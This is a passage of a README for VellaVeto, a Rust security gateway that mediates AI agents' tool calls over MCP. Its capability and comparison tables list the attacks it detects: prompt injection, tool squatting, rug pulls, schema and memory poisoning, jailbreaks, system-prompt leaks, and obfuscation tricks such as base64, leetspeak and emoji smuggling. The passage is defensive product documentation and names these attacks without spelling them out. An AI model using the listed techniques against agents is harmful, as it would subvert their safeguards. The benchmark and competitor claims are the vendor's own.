\"Gateway \u0026 Control Plane\"\n        VA --\u003e VMCP[vellaveto-mcp]\n        VCfg --\u003e VP[vellaveto-proxy]\n        VMCP --\u003e VP\n        VMCP --\u003e VHP[vellaveto-http-proxy]\n        VMCP --\u003e VServer[vellaveto-server]\n        VCfg --\u003e VCluster[vellaveto-cluster]\n        VCluster --\u003e VOp[vellaveto-operator]\n    end\n\n    subgraph \"Consumer \u0026 Ecosystem\"\n        VS[vellaveto-shield] --\u003e MS[vellaveto-mcp-shield]\n        VS --\u003e HS[vellaveto-http-proxy-shield]\n        VS --\u003e VC[vellaveto-canary]\n        MCPSEC[mcpsec]\n    end\n\n    MS --\u003e VMCP\n    HS --\u003e VHP\n    VC --\u003e VA\n```\n\nLower crates never depend on higher crates. The boundary contract (`vellaveto-types` ACIS envelope) flows down from the leaf; runtime surfaces (`proxy`, `http-proxy`, `shield`) enforce the same mediation pipeline at the top. `vellaveto-operator` is standalone (kube-rs, no internal deps). License tiers are documented separately in [LICENSING.md](LICENSING.md).\n\n## Boundary Capabilities\n\n| | What It Enforces | Docs |\n|---|---|---|\n| **Policy Engine** | Glob/regex/domain matching, parameter constraints, time windows, call limits, per-tool quotas, secret substitution, declarative policy templates, action sequences, Cedar-style ABAC, Wasm plugins. Pre-compiled patterns, \u003c5ms P99, decision cache. | [Policy](docs/POLICY.md) |\n| **Threat Detection** | 30+ detection layers: injection (Aho-Corasick + NFKC + obfuscation decode), tool squatting, rug pulls, schema poisoning, DLP, memory poisoning, multi-agent collusion, semantic output contracts, contagion controls, jailbreak patterns, token leakage, system prompt leak, browser agent attacks, output anomalies, denial-of-wallet, cascade failures, exfiltration path analysis, server fingerprint drift, goal drift, A2A integrity, NHI overpermission, agent baseline, prompt template injection, ETDI, MINJA, and containment-aware audit context. Maps to [OWASP Agentic Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/). | [Threat Model](docs/THREAT_MODEL.md) |\n| **Channel Separation** | Source-class auto-tainting (untrusted tool responses taint session regardless of detection), intent scope declarations (constrain tools/sinks per session with auto-narrowing on taint), behavioral sequence analysis (5 deterministic detectors for read→exfil, privilege escalation, tool diversity spikes, novel tools, action clustering). Three composing layers for detection-independent defense. | [Channel Separation](docs/CHANNEL_SEPARATION.md) |\n| **Identity \u0026 Access** | OAuth 2.1/JWT, OIDC/SAML, RBAC (4 roles, 14 perms), ABAC with forbid-overrides, capability delegation, DPoP (RFC 9449), non-human identity lifecycle. | [IAM](docs/IAM.md) |\n| **Approval Gates** | Bound, replay-safe, single-use approvals with session + fingerprint binding. Irreversible actions classified and gated. Human-readable fact summaries, lineage drift invalidation, structured containment context, trust/taint summaries, and risk scores preserved through pending, approve, and deny flows. | [Security Model](docs/SECURITY_MODEL.md) |\n| **Discovery** | Auto-discover MCP servers, tools, resources via topology graph. Detect drift, tool shadowing, namespace collisions. Topology guard as pre-policy filter. | [Architecture](#architecture) |\n| **Audit \u0026 Compliance** | Tamper-evident logs (SHA-256 + Merkle + Ed25519), ACIS decision envelopes, ZK proofs (Pedersen + Groth16), OTel-compatible span export, Annex IV documentation generator, Article 73 incident reports with cross-regulation deadlines, FRIA data export, evidence packs for 12 frameworks. | [Compliance](docs/COMPLIANCE.md) |\n| **Session Isolation** | Per-session credential rotation, context window isolation, stylometric normalization, traffic padding. Cross-session correlation is structurally prevented while users maintain full workflow continuity — context stays coherent and safe across sessions via deterministic action fingerprinting without leaking session boundaries. | [Consumer Shield](examples/presets/consumer-shield.toml) |\n| **Consumer Shield** | User-side PII sanitization, encrypted local audit (XChaCha20-Poly1305), credential vault, warrant canary. All boundary enforcement running client-side. | [Consumer Shield](examples/presets/consumer-shield.toml) |\n| **Deployment** | 6 modes: HTTP, stdio, WebSocket, gRPC, gateway, consumer shield. K8s operator (3 CRDs), Helm chart, Terraform provider, VS Code extension. | [Deployment](docs/DEPLOYMENT.md) |\n\n## Security\n\n### Internal Adversarial Auditing\n\nVellaVeto is continuously exercised by internal adversarial audit sweeps mapped to the [OWASP Top 10 for Agentic Applications](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/). These are not third-party audits: they are recurring internal red-team exercises where we attack the running system, document findings, land fixes, and add regressions. The current sweep history and methodology live in the [changelog](CHANGELOG.md) and [security guarantees](docs/SECURITY_GUARANTEES.md).\n\n- **Fail-closed everywhere** — empty policy sets, missing parameters, lock poisoning, capacity exhaustion, and evaluation errors all produce `Deny`\n- **Zero `unwrap()` in library code** — all error paths return typed errors; panics reserved for tests only\n- **Broad automated coverage** — Rust, SDK, integration, benchmark, and fuzz suites back the core policy, proxy, and audit paths\n- **Post-quantum ready** — Hybrid Ed25519 + ML-DSA-65 (FIPS 204) audit signatures, feature-gated behind `pqc-hybrid`\n\n### Formal Verification\n\nWe use formal methods to prove — not just test — critical security properties:\n\n| Tool | What's Proven | Files |\n|---|---|---|\n| **TLA+** | Policy engine determinism, ABAC forbid-override correctness, workflow constraint enforcement, task lifecycle safety, cascading failure recovery, source-taint containment (ST1-ST4), intent-scope containment (IS1-IS4), sequence containment (SQ1-SQ4) | [formal/tla/](formal/tla/) |\n| **Verus** | Deductive verification on actual Rust (ALL inputs via Z3 SMT): verdict fail-closed, path normalization, rule override correctness, DLP buffer safety, approval scope/consumption binding, transport sanitization, capability delegation, NHI delegation + transitive revocation, evidence pack signing, session warm restart, approval lineage drift, and refinement obligations (682 verified items) | [formal/verus/](formal/verus/) |\n| **Kani** | Bounded model checking harnesses on actual Rust covering IP validation, cache safety, capability delegation, rule checking, constraint evaluation, task lifecycle, IDNA normalization, Unicode homoglyph handling, lock-poisoning safety, webhook dedup, and approval drift (116 proof harnesses, 264 unit tests) | [formal/kani/](formal/kani/) |\n| **Lean 4** | Fail-closed property (errors → Deny), evaluation determinism, path normalization idempotence | [formal/lean/](formal/lean/) |\n| **Coq** | Theorem-proved properties across fail-closed behavior, determinism, ABAC forbid-override, capability delegation attenuation, circuit breaker, and task lifecycle | [formal/coq/](formal/coq/) |\n| **Alloy** | Capability delegation cannot escalate privileges | [formal/alloy/](formal/alloy/) |\n\nFormal verification spans TLA+, Verus, Kani, Lean 4, Coq, and Alloy. The live property catalog and current counts are maintained in [formal/README.md](formal/README.md); the trust boundary and assumptions are documented in [docs/TRUSTED_COMPUTING_BASE.md](docs/TRUSTED_COMPUTING_BASE.md).\n\n### Former Limitations (Now Resolved)\n\nAll four previously documented limitations have been addressed:\n\n- **Cross-call DLP** — `SessionDlpTracker` with overlap buffers detects secrets split across multiple tool calls within a session (~150 bytes state per field). See [`cross_call_dlp.rs`](vellaveto-mcp/src/inspection/cross_call_dlp.rs).\n- **Grammar-validated injection** — JSON Schema `pattern` constraints compiled to DFAs provide a positive security model (Phase 72). The existing Aho-Corasick pre-filter remains as defense-in-depth. MCPSEC A14 attack tests validate enforcement.\n- **TLS termination** — Built-in rustls-based TLS/mTLS via the [`vellaveto-tls`](vellaveto-tls/) crate. Supports SPIFFE identity extraction, post-quantum key exchange policies, and automatic ALPN negotiation. External reverse proxy remains optional.\n- **Independent verification** — [Bug bounty program](SECURITY_BOUNTY.md) (HackerOne + Huntr), [OSTIF audit scope](docs/OSTIF_AUDIT_SCOPE.md), Codecov integration, and OpenSSF Best Practices Badge enrollment.\n\nFull details: [Security Guarantees](docs/SECURITY_GUARANTEES.md) | [Threat Model](docs/THREAT_MODEL.md) | [Assurance Case](docs/ASSURANCE_CASE.md) | [ACIS Contract](docs/ACIS_CONTRACT.md)\n\n### MCPSEC Benchmark\n\nWe built [MCPSEC](mcpsec/), an open, vendor-neutral security benchmark for MCP gateways (Apache-2.0). It defines 10 formal security properties and 105 reproducible attack test cases across 16 attack classes. The current published reference result for VellaVeto is [mcpsec/results/vellaveto-v6.1.json](mcpsec/results/vellaveto-v6.1.json): **100/100 (Tier 5: Hardened)** on 105/105 tests. Run it against any MCP gateway — including ours:\n\n```bash\ncargo run -p mcpsec -- --target http://localhost:3000 --format markdown\n```\n\nSee [mcpsec/README.md](mcpsec/README.md) for properties, attack classes, and methodology.\n\n### Compliance \u0026 Regulatory Frameworks\n\nVellaVeto maps runtime security controls to **12 regulatory and industry frameworks** — the only MCP gateway with built-in compliance evidence generation. Each framework has a dedicated Rust registry that maps VellaVeto capabilities to specific articles, clauses, or controls, with coverage reports and evidence packs for regulated frameworks.\n\n**Regulatory:** EU AI Act (Art 9/10/12/14/50), NIS2 (Art 21-23 with 24h/72h/1M incident timelines), DORA (Ch II/III/V for financial ICT resilience), ISO 42001 (AI management system)\n\n**Trust \u0026 Certification:** SOC 2 Type II (CC1-CC9 with automated CC6 access reviews), NIST AI 600-1 (12 GenAI risk areas)\n\n**Threat \u0026 Security:** OWASP Top 10 Agentic (ASI01-ASI10), OWASP MCP Top 10 (MCP01-MCP10), CoSAI (38/38 controls), Adversa TOP 25 (25/25), CSA Agentic Trust Framework, Singapore MGF\n\n**Cross-regulation incident reporting** maps a single security incident to the notification timelines of every applicable framework (NIS2 24h pre-notification, DORA classification, EU AI Act Art 62 obligations). **10-framework gap analysis** provides a consolidated coverage report with priority-ranked remediation guidance.\n\nFull details: [Compliance Guide](docs/COMPLIANCE.md) | [Website: vellaveto.online/compliance](https://vellaveto.online/compliance)\n\n## How It Compares\n\n| | **VellaVeto** | **AgentGateway** | **MCP-Scan (Snyk)** | **Lasso Gateway** |\n|---|---|---|---|---|\n| **Language** | Rust | Rust | Python | Python |\n| **Backing** | Independent | Linux Foundation / Solo.io | Snyk (acquired Invariant Labs) | Lasso Security (~$28M raised) |\n| **Stars** | New | ~1,800 | ~1,700 | ~349 |\n| **Primary role** | Agent interaction firewall (runtime boundary) | Connectivity proxy / gateway | Scanner + monitor | Security gateway (plugin-based) |\n| **Evaluation latency** | \u003c5ms P99 | Not published | N/A (scan-time) | Not published |\n| **Policy engine** | Glob/regex/domain, ABAC, Cedar, Wasm plugins, time windows, call sequences | OPA / OpenFGA / CEL | Guardrailing policies | Plugin-based guardrails |\n| **Injection detection** | 20+ layers (Aho-Corasick, NFKC, ROT13, base64, math symbols, leetspeak, emoji smuggling, FlipAttack, memory poisoning, schema poisoning, ...) | AI Prompt Guard (LLM-based) | Tool description scanning + LLM judges | Guardrail plugins |\n| **DLP** | 5-layer decode + credential patterns | PII pattern masking | Secrets scanning | Presidio plugin |\n| **Transport coverage** | HTTP, WebSocket, gRPC, stdio, SSE (verified parity) | MCP + A2A | MCP (stdio + proxy) | MCP (stdio, SSE) |\n| **Audit trail** | SHA-256 chain + Merkle + Ed25519 + ZK proofs + PostgreSQL | Observability hooks | Logging | Logging |\n| **Compliance** | 12 frameworks (EU AI Act, SOC 2, DORA, NIS2, ...) | None | None | None |\n| **Formal verification** | TLA+, Lean 4, Coq, Alloy, Kani, Verus | None | None | None |\n| **Channel separation** | Source-class tainting, intent scope, behavioral sequence analysis | None | None | None |\n| **Consumer privacy** | PII sanitization, session isolation, credential vault, stylometric resistance | None | None | PII scanning (Presidio) |\n| **Enterprise IAM** | OIDC, SAML, RBAC, SCIM, DPoP | None | None | None |\n| **Response attestation** | HMAC-SHA256 content-bound scan results | None | None | None |\n| **MCPSEC score** | 100/100 (Tier 5, reference run) | Not tested | Not applicable | Not tested |\n| **Ease of setup** | `--protect shield` (one flag) / Docker / Helm | Docker / binary | `pip install` | `pip install` |\n| **License** | MPL-2.0 / Apache-2.0 / BUSL-1.1 | Apache-2.0 | Apache-2.0 | MIT |\n\n**Trade-offs:** AgentGateway and MCP-Scan have strong institutional backing (Linux Foundation, Snyk) and larger communities. AgentGateway excels as a connectivity and observability layer with external policy engine integration (OPA, OpenFGA); MCP-Scan excels at scanning MCP server configurations and now includes a runtime proxy mode. Both have solid security features. Lasso Gateway and [PipeLock](https://github.com/luckyPipewrench/pipelock) (Go, single binary) are closer in scope but lighter on depth. VellaVeto differentiates as a runtime boundary enforcer: integrated policy evaluation (\u003c5ms P99), structured ACIS decision envelopes on every verdict, multi-transport parity, session isolation as a product invariant, compliance evidence, and formal verification of boundary properties. The table above is our honest best-effort comparison — we encourage you to evaluate each tool against your own requirements.\n\n## Deployment Modes\n\n| Mode | Command | Use Case |\n|---|---|---|\n| HTTP API Server | `vellaveto serve` | Dashboard, REST API, policy management |\n| MCP Stdio Proxy | `vellaveto-proxy` | Claude Desktop, local MCP servers |\n| HTTP Reverse Proxy | `vellaveto-http-proxy` | Deployed MCP servers, SSE/Streamable HTTP |\n| WebSocket Proxy | `vellaveto-http-proxy` | Bidirectional MCP-over-WS at `/mcp/ws` |\n| gRPC Proxy | `vellaveto-http-proxy --grpc` | High-throughput, protobuf-native (feature-gated) |\n| Consumer Shield | `vellaveto-shield` | User-side PII protection |\n| Desktop App | `vellaveto-desktop` | One-click protection for Claude/Cursor/Windsurf/VS Code |\n\nSee [docs/DEPLOYMENT.md](docs/DEPLOYMENT.md) for configuration details.\n\n## Documentation\n\n### Getting Started\n\n| Document | Description |\n|---|---|\n| [Quick Start](docs/QUICKSTART.md) | Framework integration guides (Anthropic, OpenAI, LangChain, LangGraph, MCP) |\n| [15-Minute Secure Start](docs/SECURE_QUICKSTART_15_MIN.md) | End-to-end deny-by-default walkthrough with audit verification |\n| [Policy Configuration](docs/POLICY.md) | Policy syntax, operators, presets, elicitation, sampling, DLP, tool quotas, secret substitution |\n| [CLI Reference](docs/CLI.md) | All binaries and commands |\n| [Environment Variables](docs/ENV.md) | Configuration via environment |\n\n### Security \u0026 Compliance\n\n| Document | Description |\n|---|---|\n| [Security Guarantees](docs/SECURITY_GUARANTEES.md) | Normative, falsifiable security contract |\n| [Threat Model](docs/THREAT_MODEL.md) | Trust boundaries, attack surfaces, mitigations |\n| [Assurance Case](docs/ASSURANCE_CASE.md) | Claim -\u003e evidence -\u003e reproduce map |\n| [ACIS Contract](docs/ACIS_CONTRACT.md) | Decision envelope structure, builder selection, transport parity |\n| [Boundary Inventory](docs/BOUNDARY_INVENTORY.md) | Transport interception surface map (E1-3) |\n| [Channel Separation](docs/CHANNEL_SEPARATION.md) | Three-layer structural defense against control/data channel conflation |\n| [Security Hardening](docs/SECURITY.md) | Security configuration best practices |\n| [Quantum Migration](docs/quantum-migration.md) | PQC rollout and rollback gates |\n\n### Operations \u0026 Architecture\n\n| Document | Description |\n|---|---|\n| [Deployment Guide](docs/DEPLOYMENT.md) | Docker, Kubernetes (Helm), bare metal |\n| [Operations Runbook](docs/OPERATIONS.md) | Monitoring, troubleshooting, maintenance |\n| [API Reference](docs/API.md) | HTTP API surface, route groups, and request/response examples |\n| [Audit Log](docs/AUDIT_LOG.md) | Audit system internals, verification, SIEM export |\n| [IAM](docs/IAM.md) | OIDC, SAML, RBAC, session management |\n| [Benchmarks](docs/BENCHMARKS.md) | Reproducible performance benchmarks |\n| [Evaluation Traces](docs/AUDIT_LOG.md) | Decision explainability and execution graphs |\n\n### SDKs\n\n| SDK | Path | Tests |\n|---|---|---|\n| Python (sync + async, LangChain, LangGraph, CrewAI, Google ADK, OpenAI Agents, Composio, Claude Agent, Strands, MS Agents) | [sdk/python/](sdk/python/) | 484 |\n| TypeScript | [sdk/typescript/](sdk/typescript/) | 122 |\n| Go | [sdk/go/](sdk/go/) | 129 |\n| Java | [sdk/java/](sdk/java/) | 120 |\n\n## Development\n\n```bash\n# Build\ncargo build --release\n\n# Test\ncargo test --workspace\n\n# Lint\ncargo clippy --workspace --all-targets\n\n# Format\ncargo fmt --check\n\n# Security audit\ncargo audit\n\n# Benchmarks\ncargo bench --workspace\n\n# Fuzz (requires nightly)\ncd fuzz \u0026\u0026 cargo +nightly fuzz run fuzz_json_rpc_framing -- -max_total_time=60\n```\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md) for development rules and commit format.\n\n### CI Policy Validation\n\nValidate your policy config in GitHub Actions:\n\n```yaml\n- uses: paolovella/vellaveto/.github/actions/policy-check@main\n  with:\n    config: vellaveto.toml\n    strict: true\n```\n\n## License\n\n| Tier | License | Crates |\n|---|---|---|\n| Core + Consumer | MPL-2.0 | types, engine, audit, config, canonical, discovery, approval, proxy, mcp-shield, shield |\n| Canary + Benchmark | Apache-2.0 | canary, mcpsec |\n| Enterprise | BUSL-1.1 → MPL-2.0 | server, http-proxy, mcp, cluster, operator, integration |\n\nEnterprise crates are free for production use at ≤3 nodes / ≤25 endpoints. Each version converts to MPL-2.0 after 3 years. See [LICENSING.md](LICENSING.md) for full details. For managed service offerings or above-threshold deployments, contact **hello@vellaveto.online**.\n\n## References\n\n- [MCP Specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)\n- [OWASP Top 10 for Agentic Applications 2026](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)\n- [OWASP Top 10 for MCP Servers](https://owasp.org/www-project-top-10-for-mcp-servers/)\n- [CoSAI MCP Security Whitepaper](https://www.coalitionforsafeai.org/)\n- [ETDI: Mitigating Tool Squatting and Rug Pull Attacks in MCP](https://arxiv.org/abs/2506.01333)\n- [Enterprise-Grade Security for MCP](https://arxiv.org/pdf/2504.08623)\n- [MCP Security Vulnerabilities — Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-vulnerabilities/)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpaolovella%2Fvellaveto","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpaolovella%2Fvellaveto","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpaolovella%2Fvellaveto/lists"}